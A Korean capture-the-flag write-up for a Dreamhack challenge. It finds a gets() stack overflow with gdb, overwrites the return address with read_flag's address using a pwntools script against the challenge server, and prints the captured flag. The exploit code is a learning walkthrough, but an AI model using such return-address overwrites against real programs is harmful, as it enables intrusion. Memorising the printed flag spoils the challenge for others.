코드의 취약점을 찾아 익스플로잇 코드를 짜고 flag를 얻는 문제이다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() { // flag 파일을 읽어주는 함수
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80]; // buf[128]
initialize();
gets(buf); // 크기에 제한없이 buf에 입력을 받음
return 0;
}
문제 코드를 출력해보았다.
gets() 함수로 크기에 제한 없이 입력을 받고 있기 때문에
버퍼 오버플로우 공격이 가능하다.
read_flag() 함수를 실행시키면 flag 파일을 읽을 수 있기 때문에,
RET에 read_flag() 함수의 주소가 들어가게 하면 될 것 같다.
gdb-peda$ pdisas main
Dump of assembler code for function main:
0x080485cc <+0>: push ebp
0x080485cd <+1>: mov ebp,esp
0x080485cf <+3>: add esp,0xffffff80
0x080485d2 <+6>: call 0x8048572 <initialize>
0x080485d7 <+11>: lea eax,[ebp-0x80] // eax = buf(ebp-128)
0x080485da <+14>: push eax // push buf
0x080485db <+15>: call 0x80483d0 <gets@plt> // gets(buf)
0x080485e0 <+20>: add esp,0x4
0x080485e3 <+23>: mov eax,0x0
0x080485e8 <+28>: leave
0x080485e9 <+29>: ret
End of assembler dump.
gdb로 문제 파일을 읽어보았다.
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x08048398 _init
0x080483d0 gets@plt
0x080483e0 signal@plt
0x080483f0 alarm@plt
0x08048400 puts@plt
0x08048410 system@plt
0x08048420 exit@plt
0x08048430 __libc_start_main@plt
0x08048440 setvbuf@plt
0x08048450 __gmon_start__@plt
0x08048460 _start
0x08048490 __x86.get_pc_thunk.bx
0x080484a0 deregister_tm_clones
0x080484d0 register_tm_clones
0x08048510 __do_global_dtors_aux
0x08048530 frame_dummy
0x0804855b alarm_handler
0x08048572 initialize
0x080485b9 read_flag
0x080485cc main
0x080485f0 __libc_csu_init
0x08048650 __libc_csu_fini
0x08048654 _fini
read_flag() → 0x080485b9
read_flag() 함수의 주소를 찾아보았다.
buf~EBP ← NOP[132]
RET ← read_flag()
함수의 주소를 넣어주면 본 함수 종료 후 read_flag() 함수로
점프해서 flag값이 출력될 것 같다.
from pwn import *
p = remote("host3.dreamhack.games", 9955) # 원격 서버에 연결
read_flag = p32(0x080485b9) # read_flag 함수의 주소를 리틀 엔디안 방식으로 패킹
payload = b"\x90"*132 # payload = NOP[132]
payload += read_flag # payload = NOP[132] + read_flag
p.sendline(payload) # payload 입력
p.interactive() # 사용자에게 입출력을 돌려줌
pwntools로 익스플로잇 코드를 짜보았다.
⚡ root ~/dreamhack python exploit002.py
[+] Opening connection to host3.dreamhack.games on port 9955: Done
[*] Switching to interactive mode
$
DH{01ec06f5e1466e44f86a79444a7cd116}[*] Got EOF while reading in interactive
$
다음과 같이 플래그가 출력된다.
DH{01ec06f5e1466e44f86a79444a7cd116}